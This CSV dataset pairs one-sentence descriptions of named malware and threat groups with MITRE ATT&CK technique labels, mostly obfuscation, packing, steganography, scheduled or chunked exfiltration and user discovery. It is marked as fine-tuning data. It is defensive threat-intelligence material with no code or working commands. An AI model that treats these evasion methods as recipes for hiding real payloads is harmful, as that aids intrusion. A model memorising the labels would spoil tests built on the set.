SUPERNOVA contained Base64-encoded strings.,['T1027 - Obfuscated Files or Information'],fine_tune
Sakula uses single-byte XOR obfuscation to obfuscate many of its files.,['T1027 - Obfuscated Files or Information'],fine_tune
SamSam has been seen using AES or DES to encrypt payloads and payload components.,['T1027 - Obfuscated Files or Information'],fine_tune
"Sandworm Team has used Base64 encoding within malware variants. Sandworm Team has also used ROT13 encoding, AES encryption and compression with the zlib library for their Python-based backdoor.",['T1027 - Obfuscated Files or Information'],fine_tune
Seasalt obfuscates configuration data.,['T1027 - Obfuscated Files or Information'],fine_tune
"ShadowPad has encrypted its payload, a virtual file system, and various files.",['T1027 - Obfuscated Files or Information'],fine_tune
Shamoon contains base64-encoded strings.,['T1027 - Obfuscated Files or Information'],fine_tune
Shark can use encrypted and encoded files for C2 configuration.,['T1027 - Obfuscated Files or Information'],fine_tune
ShimRat has been delivered as a package that includes compressed DLL and shellcode payloads within a .dat file.,['T1027 - Obfuscated Files or Information'],fine_tune
ShimRatReporter encrypted gathered information with a combination of shifting and XOR using a static key.,['T1027 - Obfuscated Files or Information'],fine_tune
Sibot has obfuscated scripts used in execution.,['T1027 - Obfuscated Files or Information'],fine_tune
Sidewinder has used base64 encoding and ECDH-P256 encryption for scripts and files.,['T1027 - Obfuscated Files or Information'],fine_tune
Silence has used environment variable string substitution for obfuscation.,['T1027 - Obfuscated Files or Information'],fine_tune
Siloscape itself is obfuscated and uses obfuscated API calls.,['T1027 - Obfuscated Files or Information'],fine_tune
Skidmap has encrypted it's main payload using 3DES.,['T1027 - Obfuscated Files or Information'],fine_tune
Sliver can encrypt strings at compile time.,['T1027 - Obfuscated Files or Information'],fine_tune
Smoke Loader uses a simple one-byte XOR method to obfuscate values in the malware.,['T1027 - Obfuscated Files or Information'],fine_tune
"SodaMaster can use ""stackstrings"" for obfuscation.",['T1027 - Obfuscated Files or Information'],fine_tune
"SombRAT can encrypt strings with XOR-based routines and use a custom AES storage format for plugins, configuration, C2 domains, and harvested data.",['T1027 - Obfuscated Files or Information'],fine_tune
"Some Orz strings are base64 encoded, such as the embedded DLL known as MockDll.",['T1027 - Obfuscated Files or Information'],fine_tune
"Some data in Remsec is encrypted using RC5 in CBC mode, AES-CBC with a hardcoded key, RC4, or Salsa20. Some data is also base64-encoded.",['T1027 - Obfuscated Files or Information'],fine_tune
Some resources in Prikormka are encrypted with a simple XOR operation or encoded with Base64.,['T1027 - Obfuscated Files or Information'],fine_tune
Some strings in HOMEFRY are obfuscated with XOR x56.,['T1027 - Obfuscated Files or Information'],fine_tune
SoreFang has the ability to encode and RC6 encrypt data sent to C2.,['T1027 - Obfuscated Files or Information'],fine_tune
SpeakUp encodes its second-stage payload with Base64.,['T1027 - Obfuscated Files or Information'],fine_tune
Squirrelwaffle has been obfuscated with a XOR-based algorithm.,['T1027 - Obfuscated Files or Information'],fine_tune
StoneDrill has obfuscated its module with an alphabet-based table or XOR encryption.,['T1027 - Obfuscated Files or Information'],fine_tune
StreamEx obfuscates some commands by using statically programmed fragments of strings when starting a DLL. It also uses a one-byte xor against 0x91 to encode configuration data.,['T1027 - Obfuscated Files or Information'],fine_tune
"Strings in Attor's components are encrypted with a XOR cipher, using a hardcoded key and the configuration data, log files and plugins are encrypted using a hybrid encryption scheme of Blowfish-OFB combined with RSA.",['T1027 - Obfuscated Files or Information'],fine_tune
SynAck payloads are obfuscated prior to compilation to inhibit analysis and/or reverse engineering.,['T1027 - Obfuscated Files or Information'],fine_tune
SysUpdate can encrypt and encode its configuration file.,['T1027 - Obfuscated Files or Information'],fine_tune
TA505 has password-protected malicious Word documents and used base64 encoded PowerShell commands.,['T1027 - Obfuscated Files or Information'],fine_tune
"TEARDROP created and read from a file with a fake JPG header, and its payload was encrypted with a simple rotating XOR cipher.",['T1027 - Obfuscated Files or Information'],fine_tune
Taidoor can use encrypted string blocks for obfuscation.,['T1027 - Obfuscated Files or Information'],fine_tune
TeamTNT has encrypted its binaries via AES and encoded files using Base64.,['T1027 - Obfuscated Files or Information'],fine_tune
The FIVEHANDS payload is encrypted with AES-128.,['T1027 - Obfuscated Files or Information'],fine_tune
The Grandoreiro payload has been delivered encrypted with a custom XOR-based algorithm and also as a base64-encoded ZIP file.,['T1027 - Obfuscated Files or Information'],fine_tune
The Helminth config file is encrypted with RC4.,['T1027 - Obfuscated Files or Information'],fine_tune
"ThreatNeedle has been compressed and obfuscated using RC4, AES, or XOR.",['T1027 - Obfuscated Files or Information'],fine_tune
Torisma has been Base64 encoded and AES encrypted.,['T1027 - Obfuscated Files or Information'],fine_tune
Trojan.Karagany can base64 encode and AES-128-CBC encrypt data prior to transmission.,['T1027 - Obfuscated Files or Information'],fine_tune
Tropic Trooper has encrypted configuration files.,['T1027 - Obfuscated Files or Information'],fine_tune
Turian can use VMProtect for obfuscation.,['T1027 - Obfuscated Files or Information'],fine_tune
UBoatRAT encrypts instructions in the payload using a simple XOR cipher.,['T1027 - Obfuscated Files or Information'],fine_tune
UNC2452 used encoded PowerShell commands.,['T1027 - Obfuscated Files or Information'],fine_tune
"Ursnif has used an XOR-based algorithm to encrypt Tor clients dropped to disk.	Ursnif droppers have also been delivered as password-protected zip files that execute base64 encoded PowerShell commands.",['T1027 - Obfuscated Files or Information'],fine_tune
Valak has the ability to base64 encode and XOR encrypt strings.,['T1027 - Obfuscated Files or Information'],fine_tune
"Variants of Emissary encrypt payloads using various XOR ciphers, as well as a custom algorithm that uses the ""srand"" and ""rand"" functions.",['T1027 - Obfuscated Files or Information'],fine_tune
Waterbear has used RC4 encrypted shellcode and encrypted functions.,['T1027 - Obfuscated Files or Information'],fine_tune
"WhisperGate can Base64 encode strings, store downloaded files in reverse byte order,  and use the Eazfuscator tool to obfuscate its third stage.",['T1027 - Obfuscated Files or Information'],fine_tune
Whitefly has encrypted the payload used for C2.,['T1027 - Obfuscated Files or Information'],fine_tune
"WindTail can be delivered as a compressed, encrypted, and encoded payload.",['T1027 - Obfuscated Files or Information'],fine_tune
Winnti for Linux can encode its configuration file with single-byte XOR encoding.,['T1027 - Obfuscated Files or Information'],fine_tune
Winnti for Windows has the ability to encrypt and compress its payload.,['T1027 - Obfuscated Files or Information'],fine_tune
Wizard Spider used Base64 encoding to obfuscate an Empire service and PowerShell commands.,['T1027 - Obfuscated Files or Information'],fine_tune
ZeroT has encrypted its payload with RC4.,['T1027 - Obfuscated Files or Information'],fine_tune
Zeus Panda encrypts strings with XOR and obfuscates the macro code from the initial payload. Zeus Panda also encrypts all configuration and settings in AES and RC4.,['T1027 - Obfuscated Files or Information'],fine_tune
hides any strings related to its own indicators of compromise.,"['T1027 - Obfuscated Files or Information', 'T1027 - Obfuscated Files or Information']",fine_tune
"jRAT’s Java payload is encrypted with AES. Additionally, backdoor files are encrypted using DES as a stream cipher. Later variants of jRAT also incorporated AV evasion methods such as Java bytecode obfuscation via the commercial Allatori obfuscation tool.",['T1027 - Obfuscated Files or Information'],fine_tune
njRAT has included a base64 encoded executable.,['T1027 - Obfuscated Files or Information'],fine_tune
A version of XTunnel introduced in July 2015 inserted junk code into the binary in a likely attempt to obfuscate it and bypass security products.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
APT29 has used large file sizes to avoid detection.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
"BRONZE BUTLER downloader code has included ""0"" characters at the end of the file to inflate the file size in a likely attempt to evade anti-virus detection.",['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
"Before writing to disk, Kwampirs inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections.",['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
Bisonal has appended random binary data to the end of itself to generate a large binary.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
CORESHELL contains unused machine instructions in a likely attempt to hinder analysis.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
Comnie appends a total of 64MB of garbage data to a file to deter any security products in place that may be scanning files on disk.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
CostaBricks has added the entire unobfuscated code of the legitimate open source application Blink to its code.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
Ember Bear has added extra spaces between JavaScript code characters to increase the overall file size.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
FatDuke has been packed with junk code and strings.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
Gamaredon Group has obfuscated .NET executables by inserting junk code.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
Gelsemium can use junk code to hide functions and evade detection.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
Goopy has had null characters padded in its malicious DLL payload.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
GrimAgent has the ability to add bytes to change the file hash.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
Higaisa performed padding with null bytes before calculating its hash.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
Javali can use large obfuscated libraries to hinder detection and analysis.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
"Leviathan has inserted garbage characters into code, presumably to avoid anti-virus detection.",['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
"Maze has inserted large blocks of junk code, including some components to decrypt strings and other important information for later in the encryption process.",['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
Mustang Panda has used junk code within their DLL files to hinder analysis.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
Patchwork apparently altered NDiskMonitor samples by adding four bytes of random letters in a likely attempt to change the file hashes.,"['T1027.001 - Obfuscated Files or Information: Binary Padding', 'T1027.005 - Indicator Removal from Tools']",fine_tune
"TAINTEDSCRIBE can execute ""FileRecvWriteRand"" to append random bytes to the end of a file received from C2.",['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
ZeroT has obfuscated DLLs and functions using dummy API calls inserted between real instructions.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
A FinFisher variant uses a custom packer.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
A Patchwork payload was packed with UPX.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
A version of Daserf uses the MPRESS packer.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
APT29 used UPX to pack files.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
APT3 has been known to pack their tools.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"APT38 has used several code packing methods such as Themida, Enigma, VMProtect, and Obsidium, to pack their implants.",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"APT39 has packed tools with UPX, and has repacked a modified version of Mimikatz to thwart anti-virus detection.",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Anchor has come with a packed payload.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Aoqin Dragon has used the Themida packer to obfuscate malicious payloads.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Astaroth uses a software packer called Pe123\RPolyCryptor.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Bisonal has used the MPRESS packer and similar tools for obfuscation.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
CSPY Downloader has been packed with UPX.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
China Chopper's client component is packed with UPX.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Clop has been packed to help avoid detection.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
CostaBricks can implement a custom-built virtual machine mechanism to obfuscate its code.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
DRATzarus's dropper can be packed with UPX.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
DarkComet has the option to compress its payload using UPX or MPRESS.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Dok is packed with an UPX executable packer.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"During Night Dragon, threat actors used software packing in its tools.",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Dyre has been delivered with encrypted resources and must be unpacked for execution.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"Egregor's payloads are custom-packed, archived and encrypted to prevent analysis.",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Elderwood has packed malware payloads before delivery to victims.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
FYAnti has used ConfuserEx to pack its .NET module.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
FatDuke has been regularly repacked by its operators to create large binaries and evade detection.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"For Operation Dust Storm, the threat actors used UPX to pack some payloads.",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"For Operation Spalax, the threat actors used a variety of packers, including CyaX, to obfuscate malicious executables.",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
GreyEnergy is packed for obfuscation.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
H1N1 uses a custom packing algorithm.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Hildegard has packed ELF files into other binaries.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
HotCroissant has used the open source UPX executable packer.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
HyperBro has the ability to pack its payload.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Kimsuky has packed malware with UPX.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Lazarus Group has used Themida to pack malicious DLLs and other files.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
LiteDuke has been packed with multiple layers of encryption.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Lokibot has used several packing methods for obfuscation.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Machete has been packed with NSIS.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Melcoz has been packed with VMProtect and Themida.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Metamorfo has used VMProtect to pack and protect files.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
NETWIRE has used .NET packer tools to evade detection.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Night Dragon is known to use software packing in its tools.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
OSX_OCEANLOTUS.D has a variant that is packed with UPX.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
OopsIE uses the SmartAssembly obfuscator to pack an embedded .Net Framework assembly used for C2.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
QakBot can encrypt and pack malicious payloads.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"Raindrop used a custom packer for its Cobalt Strike payload, which was compressed using the LZMA algorithm.",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Rocke's miner has created UPX-packed files in the Windows Start Menu Folder.,"['T1027.002 - Obfuscated Files or Information: Software Packing', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
SDBbot has used a packed installer file.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Saint Bot has been packed using a dark market crypter.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Sandworm Team used UPX to pack a copy of Mimikatz.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
SeaDuke has been packed with the UPX packer.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
ShimRat's loader has been packed with the compressed ShimRat core DLL and the legitimate DLL for it to hijack.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Some S-Type samples have been packed with UPX.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Some ZeroT DLL files have been packed with UPX.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Spark has been packed with Enigma Protector to obfuscate its contents.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Squirrelwaffle has been packed with a custom packer to hide payloads.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
TA505 has used UPX to obscure malicious code.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
The White Company has obfuscated their payloads through packing.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Threat Group-3390 has packed malware and tools.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Tomiris has been packed with UPX.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Trojan.Karagany samples sometimes use common binary packers such as UPX and Aspack on top of a custom Delphi binary packer.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Versions of Babuk have been packed.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Zebrocy's Delphi variant was packed with UPX.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
ABK can extract a malicious Portable Executable (PE) from a photo.,['T1027.003 - Steganography'],fine_tune
APT37 uses steganography to send images to users that are embedded with shellcode.,['T1027.003 - Steganography'],fine_tune
Andariel has hidden malicious executables within PNG files.,['T1027.003 - Steganography'],fine_tune
Avenger can extract backdoor malware from downloaded images.,['T1027.003 - Steganography'],fine_tune
BBK can extract a malicious Portable Executable (PE) from a photo.,['T1027.003 - Steganography'],fine_tune
BRONZE BUTLER has used steganography in multiple operations to conceal malicious payloads.,['T1027.003 - Steganography'],fine_tune
Bandook has used .PNG images within a zip file to build the executable.,['T1027.003 - Steganography'],fine_tune
Diavol has obfuscated its main code routines within bitmap images as part of its anti-analysis techniques.,['T1027.003 - Steganography'],fine_tune
Earth Lusca has used steganography to hide shellcode in a BMP image file.,['T1027.003 - Steganography'],fine_tune
"For Operation Spalax, the threat actors used packers that read pixel data from images contained in PE files' resource sections and build the next layer of execution from the data.",['T1027.003 - Steganography'],fine_tune
IcedID has embedded binaries within RC4 encrypted .png files.,['T1027.003 - Steganography'],fine_tune
Invoke-PSImage can be used to embed a PowerShell script within the pixels of a PNG file.,['T1027.003 - Steganography'],fine_tune
Leviathan has used steganography to hide stolen data inside other files stored on Github.,['T1027.003 - Steganography'],fine_tune
LiteDuke has used image files to hide its loader component.,['T1027.003 - Steganography'],fine_tune
MuddyWater has stored obfuscated JavaScript code in an image file named temp.jpg.,['T1027.003 - Steganography'],fine_tune
ObliqueRAT can hide its payload in BMP images hosted on compromised websites.,['T1027.003 - Steganography'],fine_tune
ProLock can use .jpg and .bmp files to store its payload.,['T1027.003 - Steganography'],fine_tune
RDAT can also embed data within a BMP image prior to exfiltration.,['T1027.003 - Steganography'],fine_tune
Raindrop used steganography to locate the start of its encoded payload within legitimate 7-Zip code.,['T1027.003 - Steganography'],fine_tune
Ramsay has PE data embedded within JPEG files contained within Word documents.,['T1027.003 - Steganography'],fine_tune
"RegDuke can hide data in images, including use of the Least Significant Bit (LSB).",['T1027.003 - Steganography'],fine_tune
build_downer can extract malware from a downloaded JPEG.,['T1027.003 - Steganography'],fine_tune
"Cardinal RAT and its watchdog component are compiled and executed after being delivered to victims as embedded, uncompiled source code.",['T1027.004 - Obfuscated Files or Information: Compile After Delivery'],fine_tune
"DarkWatchman has used the ""csc.exe"" tool to compile a C# executable.",['T1027.004 - Obfuscated Files or Information: Compile After Delivery'],fine_tune
"Gamaredon Group has compiled the source code for a downloader directly on the infected system using the built-in ""Microsoft.CSharp.CSharpCodeProvider"" class.",['T1027.004 - Obfuscated Files or Information: Compile After Delivery'],fine_tune
"Rocke has compiled malware, delivered to victims as .c files, with the GNU Compiler Collection (GCC).",['T1027.004 - Obfuscated Files or Information: Compile After Delivery'],fine_tune
njRAT has used AutoIt to compile the payload and main script into a single executable after delivery.,['T1027.004 - Obfuscated Files or Information: Compile After Delivery'],fine_tune
APT3 has been known to remove indicators of compromise from tools.,['T1027.005 - Indicator Removal from Tools'],fine_tune
Analysis of Daserf has shown that it regularly undergoes technical improvements to evade anti-virus detection.,['T1027.005 - Indicator Removal from Tools'],fine_tune
"Cobalt Strike includes a capability to modify the ""beacon"" payload to eliminate known signatures or unpacking methods.",['T1027.005 - Indicator Removal from Tools'],fine_tune
"Deep Panda has updated and modified its malware, resulting in different hash values that evade detection.",['T1027.005 - Indicator Removal from Tools'],fine_tune
"During Operation Wocao, threat actors edited variable names within the Impacket suite to avoid automated detection.",['T1027.005 - Indicator Removal from Tools'],fine_tune
"GALLIUM ensured each payload had a unique hash, including by using different types of packers.",['T1027.005 - Indicator Removal from Tools'],fine_tune
InvisiMole has undergone regular technical improvements in an attempt to evade detection.,['T1027.005 - Indicator Removal from Tools'],fine_tune
OilRig has tested malware samples to determine AV detection and subsequently modified the samples to ensure AV evasion.,['T1027.005 - Indicator Removal from Tools'],fine_tune
Penquin can remove strings from binaries.,['T1027.005 - Indicator Removal from Tools'],fine_tune
"PowerSploit's ""Find-AVSignature"" AntivirusBypass module can be used to locate single byte anti-virus signatures.",['T1027.005 - Indicator Removal from Tools'],fine_tune
QakBot can make small changes to itself in order to change its checksum and hash value.,['T1027.005 - Indicator Removal from Tools'],fine_tune
"SUNBURST source code used generic variable names and pre-obfuscated strings, and was likely sanitized of developer comments before being added to SUNSPOT.",['T1027.005 - Indicator Removal from Tools'],fine_tune
TEMP.Veles has modified files based on the open-source project cryptcat in an apparent attempt to decrease AV detection rates.,['T1027.005 - Indicator Removal from Tools'],fine_tune
"The author of GravityRAT submitted samples to VirusTotal for testing, showing that the author modified the code to try to hide the DDE object in a different part of the document.",['T1027.005 - Indicator Removal from Tools'],fine_tune
Waterbear can scramble functions not to be executed again with random values.,['T1027.005 - Indicator Removal from Tools'],fine_tune
APT29 has embedded an ISO file within an HTML attachment that contained JavaScript code to initiate malware execution.,['T1027.006 - HTML Smuggling'],fine_tune
EnvyScout contains JavaScript code that can extract an encoded blob from its HTML body and write it to disk.,['T1027.006 - HTML Smuggling'],fine_tune
Bazar can hash then resolve API calls at runtime.,['T1027.007 - Obfuscated Files or Information: Dynamic API Resolution'],fine_tune
Lazarus Group has used a custom hashing method to resolve APIs used in shellcode.,['T1027.007 - Obfuscated Files or Information: Dynamic API Resolution'],fine_tune
Pteranodon can use a dynamic Windows hashing algorithm to map API components.,['T1027.007 - Obfuscated Files or Information: Dynamic API Resolution'],fine_tune
"macOS.OSAMiner has used run-only Applescripts, a compiled and stripped version of AppleScript, to remove human readable indicators to evade detection.",['T1027.008 - Stripped Payloads'],fine_tune
Invoke-PSImage can be used to embed payload data within a new image file.,['T1027.009 - Embedded Payloads'],fine_tune
macOS.OSAMiner has embedded Stripped Payloads within another run-only Stripped Payloads.,['T1027.009 - Embedded Payloads'],fine_tune
"ADVSTORESHELL collects, compresses, encrypts, and exfiltrates data to the C2 server every 10 minutes.",['T1029 - Scheduled Transfer'],fine_tune
Chrommme can set itself to sleep before requesting a new command from C2.,['T1029 - Scheduled Transfer'],fine_tune
Cobalt Strike can set its Beacon payload to reach out to the C2 server on an arbitrary and random interval.,['T1029 - Scheduled Transfer'],fine_tune
Flagpro has the ability to wait for a specified time interval between communicating with and executing commands from C2.,['T1029 - Scheduled Transfer'],fine_tune
Higaisa sent the victim computer identifier in a User-Agent string back to the C2 server every 10 minutes.,['T1029 - Scheduled Transfer'],fine_tune
LightNeuron can be configured to exfiltrate data during nighttime or working hours.,['T1029 - Scheduled Transfer'],fine_tune
Machete sends stolen data to the C2 server every 10 minutes.,['T1029 - Scheduled Transfer'],fine_tune
POWERSTATS can sleep for a given number of seconds.,['T1029 - Scheduled Transfer'],fine_tune
ShadowPad has sent data back to C2 every 8 hours.,['T1029 - Scheduled Transfer'],fine_tune
jRAT can be configured to reconnect at certain intervals.,['T1029 - Scheduled Transfer'],fine_tune
APT28 has split archived exfiltration files into chunks smaller than 1MB.,['T1030 - Data Transfer Size Limits'],fine_tune
AppleSeed has divided files if the size is 0x1000000 bytes or more.,['T1030 - Data Transfer Size Limits'],fine_tune
Cobalt Strike will break large data sets into smaller chunks for exfiltration.,['T1030 - Data Transfer Size Limits'],fine_tune
"During C0015, the threat actors limited Rclone's bandwidth setting during exfiltration.",['T1030 - Data Transfer Size Limits'],fine_tune
Helminth splits data into chunks up to 23 bytes and sends the data in DNS queries to its C2 server.,['T1030 - Data Transfer Size Limits'],fine_tune
Kessel can split the data to be exilftrated into chunks that will fit in subdomains of DNS queries.,['T1030 - Data Transfer Size Limits'],fine_tune
Kevin can exfiltrate data to the C2 server in 27-character chunks.,['T1030 - Data Transfer Size Limits'],fine_tune
Mythic supports custom chunk sizes used to upload/download files.,['T1030 - Data Transfer Size Limits'],fine_tune
OopsIE exfiltrates command output and collected files to its C2 server in 1500-byte blocks.,['T1030 - Data Transfer Size Limits'],fine_tune
POSHSPY uploads data in 2048-byte chunks.,['T1030 - Data Transfer Size Limits'],fine_tune
"The Rclone ""chunker"" overlay supports splitting large files in smaller chunks during upload to circumvent size limits.",['T1030 - Data Transfer Size Limits'],fine_tune
A Gamaredon Group file stealer can gather the victim's username to send to a C2 server.,['T1033 - System Owner/User Discovery'],fine_tune
"A Linux version of Derusbi checks if the victim user ID is anything other than zero (normally used for root), and the malware will not execute if it does not have root privileges. Derusbi also gathers the username of the victim.",['T1033 - System Owner/User Discovery'],fine_tune
A module in Prikormka collects information from the victim about the current user name.,['T1033 - System Owner/User Discovery'],fine_tune
"APT32 collected the victim's username and executed the ""whoami"" command on the victim's machine. APT32 executed shellcode to collect the username on the victim's machine.",['T1033 - System Owner/User Discovery'],fine_tune
APT39 used Remexi to collect usernames from the system.,['T1033 - System Owner/User Discovery'],fine_tune
"APT41 used the WMIEXEC utility to execute ""whoami"" commands on remote machines.",['T1033 - System Owner/User Discovery'],fine_tune
Action RAT has the ability to collect the username from an infected host.,['T1033 - System Owner/User Discovery'],fine_tune
Agent.btz obtains the victim username and saves it to a file.,['T1033 - System Owner/User Discovery'],fine_tune
Amadey has collected the user name from a compromised host using `GetUserNameA`.,['T1033 - System Owner/User Discovery'],fine_tune
"An APT3 downloader uses the Windows command """"cmd.exe"" /C whoami"" to verify that it is running with the elevated privileges of “System.”",['T1033 - System Owner/User Discovery'],fine_tune
Aria-body has the ability to identify the username on a compromised host.,['T1033 - System Owner/User Discovery'],fine_tune
AuTo Stealer has the ability to collect the username from an infected host.,['T1033 - System Owner/User Discovery'],fine_tune
Azorult can collect the username from the victim’s machine.,['T1033 - System Owner/User Discovery'],fine_tune
"BabyShark has executed the ""whoami"" command.",['T1033 - System Owner/User Discovery'],fine_tune
Backdoor.Oldrea collects the current username from the victim.,['T1033 - System Owner/User Discovery'],fine_tune
Bazar can identify the username of the infected user.,['T1033 - System Owner/User Discovery'],fine_tune
BloodHound can collect information on user sessions.,['T1033 - System Owner/User Discovery'],fine_tune
Bonadan has discovered the username of the user running the backdoor.,['T1033 - System Owner/User Discovery'],fine_tune
BoomBox can enumerate the username on a compromised host.,['T1033 - System Owner/User Discovery'],fine_tune
Cardinal RAT can collect the username from a victim machine.,['T1033 - System Owner/User Discovery'],fine_tune
Caterpillar WebShell can obtain a list of user accounts from a victim's machine.,['T1033 - System Owner/User Discovery'],fine_tune
Chaes has collected the username and UID from the infected machine.,['T1033 - System Owner/User Discovery'],fine_tune
"Chimera has used the ""quser"" command to show currently logged on users.",['T1033 - System Owner/User Discovery'],fine_tune
Chrommme can retrieve the username from a targeted system.,['T1033 - System Owner/User Discovery'],fine_tune
Clambling can identify the username on a compromised host.,['T1033 - System Owner/User Discovery'],fine_tune
Crimson can identify the user on a targeted system.,['T1033 - System Owner/User Discovery'],fine_tune
DRATzarus can obtain a list of users from an infected machine.,['T1033 - System Owner/User Discovery'],fine_tune
DarkComet gathers the username from the victim’s machine.,['T1033 - System Owner/User Discovery'],fine_tune
Diavol can collect the username from a compromised host.,['T1033 - System Owner/User Discovery'],fine_tune
DnsSystem can use the Windows user name to create a unique identification for infected users and systems.,['T1033 - System Owner/User Discovery'],fine_tune
DownPaper collects the victim username and sends it to the C2 server.,['T1033 - System Owner/User Discovery'],fine_tune
"Dragonfly 2.0 used the command ""query user"" on victim hosts.",['T1033 - System Owner/User Discovery'],fine_tune
"Dragonfly used the command ""query user"" on victim hosts.",['T1033 - System Owner/User Discovery'],fine_tune
"During Frankenstein, the threat actors used Empire to enumerate hosts and gather username, machine name, and administrative permissions information.",['T1033 - System Owner/User Discovery'],fine_tune
"During Night Dragon, threat actors used password cracking and pass-the-hash tools to discover usernames and passwords.",['T1033 - System Owner/User Discovery'],fine_tune
"During Operation CuckooBees, the threat actors used the `query user` and `whoami` commands as part of their advanced reconnaissance.",['T1033 - System Owner/User Discovery'],fine_tune
"During Operation Wocao, threat actors enumerated sessions and users on a remote host, and identified privileged users logged into a targeted system.",['T1033 - System Owner/User Discovery'],fine_tune
Dyre has the ability to identify the users on a compromised host.,['T1033 - System Owner/User Discovery'],fine_tune
EVILNUM can obtain the username from the victim's machine.,['T1033 - System Owner/User Discovery'],fine_tune
"Earth Lusca collected information on user accounts via the ""whoami"" command.",['T1033 - System Owner/User Discovery'],fine_tune
Egregor has used tools to gather information about users.,['T1033 - System Owner/User Discovery'],fine_tune
Empire can enumerate the username on targeted hosts.,['T1033 - System Owner/User Discovery'],fine_tune
Epic collects the user name from the victim’s machine.,['T1033 - System Owner/User Discovery'],fine_tune
FELIXROOT collects the username from the victim’s machine.,['T1033 - System Owner/User Discovery'],fine_tune
FIN10 has used Meterpreter to enumerate users on remote systems.,['T1033 - System Owner/User Discovery'],fine_tune
Felismus collects the current username and sends it to the C2 server.,['T1033 - System Owner/User Discovery'],fine_tune
"Flagpro has been used to run the ""whoami"" command on the system.",['T1033 - System Owner/User Discovery'],fine_tune
